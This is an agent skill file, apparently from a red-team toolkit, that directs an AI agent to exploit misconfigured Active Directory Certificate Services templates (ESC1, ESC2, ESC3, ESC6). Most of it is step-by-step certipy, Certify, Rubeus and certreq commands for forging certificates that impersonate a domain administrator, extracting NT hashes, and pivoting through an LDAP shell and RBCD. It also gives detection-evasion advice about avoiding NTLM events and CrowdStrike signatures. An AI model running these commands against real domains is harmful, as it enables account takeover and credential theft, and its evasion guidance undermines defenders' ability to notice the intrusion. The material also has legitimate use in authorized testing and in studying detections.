Agent skill
adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-template-abuse
SKILL.md
ADCS Template Abuse (ESC1 / ESC2 / ESC3 / ESC6)
You are helping a penetration tester exploit misconfigured AD CS certificate templates to impersonate arbitrary domain principals. All testing is under explicit written authorization.
Kerberos-first authentication: Enumeration and certificate requests use Kerberos auth when possible. Post-exploitation authenticates via PKINIT (pure Kerberos) to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[adcs-template-abuse] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Domain user credentials (any privilege level — enrollment rights are key)
- Network access to a domain controller and CA server
- Tools:
certipy(Python), optionallyCertify.exe(C#),Rubeus(C#)
Kerberos-first workflow:
# Get TGT for Kerberos-based operations
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All Certipy commands use -k -no-pass after this
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
Tool output directory: certipy find supports -output to control where
results are written — always use -output engagement/evidence/certipy-<label>.
Without it, certipy writes {timestamp}_Certipy.{json,txt} to CWD.
getTGT.py, certipy req, and certipy auth all write output files to CWD
with no output-path flag. Always prefix these commands with cd $TMPDIR &&.
getTGT.py does NOT support -out — CWD is the only control. When saving
evidence, use mv (not cp) to avoid stray duplicates:
mv $TMPDIR/administrator.pfx engagement/evidence/administrator.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator.ccache
Clock Skew Interrupt
Before any Kerberos operation, check for clock skew. If you encounter
KRB_AP_ERR_SKEW at any point during this skill — STOP IMMEDIATELY.
Do NOT fall back to NTLM authentication. Kerberos-first is an OPSEC requirement, not a preference. NTLM fallback generates Event 4776 and CrowdStrike Identity Module PTH signatures — the exact detections Kerberos-first exists to avoid.
When clock skew is detected:
- Note the skew magnitude (from the error or
ntpdate -q DC_IP) - STOP. Return to the orchestrator with this structured interrupt:
### Clock Skew Interrupt
- Error: KRB_AP_ERR_SKEW
- Skew: <magnitude in seconds/minutes>
- DC IP: <IP>
- Stage: <what step you were on when it hit>
- Attempted: <commands that failed>
The orchestrator will handle clock sync (requires sudo) and re-invoke this skill with identical parameters. Do not retry, do not work around it with NTLM, do not write your own sync script.
Step 1: Enumerate Vulnerable Templates
Run ADCS enumeration to identify vulnerable templates. If the orchestrator or
ad-discovery already provided results, skip to the relevant ESC.
Certipy (Linux — preferred)
# Full enumeration with vulnerability detection
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
# JSON output for structured analysis
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -json -output engagement/evidence/certipy-adcs
# With password (if no TGT available)
certipy find -username user@DOMAIN -password 'Pass' -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
Certify.exe (Windows)
# Find all vulnerable templates
Certify.exe find /vulnerable
# Filter by enrollee-supplies-subject (ESC1)
Certify.exe find /enrolleeSuppliesSubject
# Filter by client-auth EKU
Certify.exe find /clientauth
# Show all permissions on all templates
Certify.exe find /showAllPermissions
NetExec (quick check)
nxc ldap DC_IP -k --use-kcache -M adcs
What to look for
| ESC | Key Indicator |
|---|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU + low-priv enrollment |
| ESC2 | Any Purpose EKU (2.5.29.37.0) or no EKU + low-priv enrollment |
| ESC3 | Template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) + second template allowing on-behalf-of |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled |
Check ESC6 flag specifically:
# On CA server (requires remote access)
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 in output
Decision tree
Vulnerable template found?
├── ENROLLEE_SUPPLIES_SUBJECT + auth EKU → ESC1 (Step 2)
├── Any Purpose or No EKU → ESC2 (Step 3)
├── Certificate Request Agent EKU → ESC3 (Step 4)
├── EDITF_ATTRIBUTESUBJECTALTNAME2 on CA → ESC6 (Step 5)
└── Template ACL writable → Escalate (ESC4)
Step 2: ESC1 — Enrollee Supplies Subject
Conditions: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set,
client-auth or smart card logon EKU, enrollment rights for low-priv user,
no manager approval, no authorized signatures required.
The attacker specifies an arbitrary SAN (Subject Alternative Name) in the certificate request, impersonating any domain user.
Request certificate with SAN
# Certipy — request as domain admin via UPN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'VulnTemplate' -upn 'administrator@domain.local'
# Certipy — with password auth
certipy req -username user@domain.local -password 'Pass' -target-ip CA_IP \
-ca 'DOMAIN-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'
# Certify.exe — /altname for SAN
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator@domain.local
Post-May 2022 (KB5014754): Certificates now include a security extension with the requester's SID. The SAN identity must match the requestor unless ESC9/ESC10 conditions exist. To work on patched systems, include the target SID:
# Certify with SID pinning
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
/altname:administrator \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500
# Certipy doesn't natively support SID in ESC1 request — use ESC9/10 chain
# or use the certificate for LDAPS auth instead of PKINIT
Authenticate with certificate
# Certipy — PKINIT auth (returns TGT + optional NT hash via UnPAC)
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Rubeus — request TGT and inject
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
# Rubeus — extract NT hash via UnPAC-the-Hash
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /getcredentials
# If PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP) — use LDAPS/Schannel
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
Step 3: ESC2 — Any Purpose or No EKU
Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU
at all, enrollment rights for low-priv user, no manager approval.
- Any Purpose: Certificate valid for client auth, server auth, code signing, etc. Exploit identically to ESC1.
- No EKU: Acts as a subordinate CA — can sign new certificates with arbitrary EKUs. More powerful but subordinate CA won't work for domain auth unless listed in NTAuthCertificates (not default).
Any Purpose EKU (common case)
# Same as ESC1 — request with SAN if ENROLLEE_SUPPLIES_SUBJECT also set
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'AnyPurposeTemplate' -upn 'administrator@domain.local'
certipy auth -pfx administrator.pfx -dc-ip DC_IP
No EKU (subordinate CA)
# Request subordinate CA certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'NoEKUTemplate'
# This certificate can sign other certificates but won't directly
# authenticate to the domain unless added to NTAuthCertificates.
# More useful for code signing, S/MIME, or chaining with other attacks.
Explain that Any Purpose is directly exploitable like ESC1, while No EKU requires chaining. Recommend focusing on Any Purpose templates.
Step 4: ESC3 — Enrollment Agent Abuse
Conditions: Two templates required:
- Template with
Certificate Request AgentEKU (1.3.6.1.4.1.311.20.2.1), enrollment rights for low-priv user - Template allowing on-behalf-of enrollment with domain-auth EKU (schema v1 or v2+ with Application Policy Issuance Requirement for Request Agent)
The attacker first obtains an enrollment agent certificate, then uses it to request certificates on behalf of any user.
Step 4a: Obtain enrollment agent certificate
# Certipy
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'EnrollmentAgentTemplate'
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
/template:Vuln-EnrollmentAgent
Step 4b: Request on behalf of target user
# Certipy — enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'User' -on-behalf-of 'DOMAIN\administrator' \
-pfx 'agent.pfx'
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/onbehalfof:DOMAIN\administrator /enrollment:agent.pfx \
/enrollcertpwd:pfx-password
Step 4c: Authenticate as impersonated user
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
/password:pfx-password /ptt
Note: CA enrollment agent restrictions (certsrc.msc → CA Properties → Enrollment Agents tab) can limit who the agent can enroll as. Default is "Do not restrict enrollment agents" — allows everyone.
Step 5: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Conditions: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This
allows a SAN to be specified as a certificate attribute (not extension)
in any request, even for templates that don't have ENROLLEE_SUPPLIES_SUBJECT.
This means standard templates like User become exploitable.
Exploit
# Certipy — request User template with arbitrary SAN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-target CA_HOST -template User -upn administrator@domain.local
# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
/altname:administrator@domain.local
# certreq.exe (Windows native — no tools needed)
certreq.exe -new request.inf -config "CA_HOST\CA_NAME" \
-attrib "SAN:upn=administrator@domain.local"
Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Post-May 2022 patch impact
After KB5014754, the certificate's security extension contains the requester's SID, not the SAN identity's SID. ESC6 exploitation on patched systems requires ESC9/ESC10 conditions (weak certificate mapping) to succeed.
Check if patched:
- If
certipy authreturnsKDC_ERR_CERTIFICATE_MISMATCH, the DC enforces strong certificate binding and ESC6 alone is insufficient. - Chain with ESC9/ESC10 if those conditions exist — route to adcs-persistence.
Step 6: Certificate Authentication Reference
All ESC variants produce a PFX/certificate. Use these methods to authenticate:
PKINIT (preferred — pure Kerberos)
# Certipy (returns TGT ccache + optional NT hash)
certipy auth -pfx target.pfx -dc-ip DC_IP -username target -domain DOMAIN
# gettgtpkinit.py (PKINITtools)
gettgtpkinit.py -cert-pfx target.pfx -pfx-pass pfx-password \
DOMAIN/target target.ccache
# Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /ptt
UnPAC the Hash (extract NT hash from PKINIT TGT)
# With Certipy (automatic if PKINIT succeeds)
certipy auth -pfx target.pfx -dc-ip DC_IP
# Output includes NT hash
# With getnthash.py (PKINITtools)
export KRB5CCNAME=target.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/target
# With Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
/password:pfx-password /getcredentials
LDAPS/Schannel (fallback when PKINIT fails)
# When DC returns KDC_ERR_PADATA_TYPE_NOSUPP
certipy auth -pfx target.pfx -dc-ip DC_IP -ldap-shell
# From LDAP shell: can add computer, set RBCD, modify attributes
# Chain: LDAPS → RBCD → S4U2Self → service ticket
Certificate format conversion
# PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
-CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out cert.pfx
# PFX to PEM
openssl pkcs12 -in cert.pfx -out cert.pem -nodes
# Remove password from PFX
certipy cert -export -pfx cert.pfx -password 'old-pass' -out unprotected.pfx
Step 7: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
CERTSRV_E_TEMPLATE_DENIED
Template ACL denies enrollment for current user. Verify enrollment rights with
certipy find or Certify.exe find /showAllPermissions. Look for group-based
enrollment (add yourself to the group via ACL abuse if possible).
KDC_ERR_PADATA_TYPE_NOSUPP
DC doesn't support PKINIT pre-authentication. Use LDAPS/Schannel fallback:
certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify
attributes for alternative escalation.
KDC_ERR_CERTIFICATE_MISMATCH
Certificate SID doesn't match target identity. System is patched (KB5014754). ESC1/ESC6 alone won't work — need ESC9/ESC10 conditions or use the certificate owner's identity instead.
KDC_ERR_CLIENT_NOT_TRUSTED
CA certificate not in NTAuthCertificates or cert chain not trusted. Verify CA
is enterprise CA (not standalone). Check certutil -viewstore -enterprise NTAuth.
Certificate request pending (not issued)
Template requires manager approval. Check if you have ManageCA/ManageCertificates permissions to approve it yourself — route to adcs-access-and-relay (ESC7).
KRB_AP_ERR_SKEW (Clock Skew)
See Clock Skew Interrupt section above. STOP and return to the orchestrator. Do not retry, do not fall back to NTLM.
OPSEC comparison
| ESC | OPSEC | Detection Surface |
|---|---|---|
| ESC1 | Medium | Certificate enrollment event (4887), SAN in request visible in CA logs |
| ESC2 | Medium | Same as ESC1. No-EKU subordinate CA is louder (4899) |
| ESC3 | High | Two enrollment events — agent cert + on-behalf-of request |
| ESC6 | Medium | Standard template enrollment, but SAN attribute visible in CA logs |
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?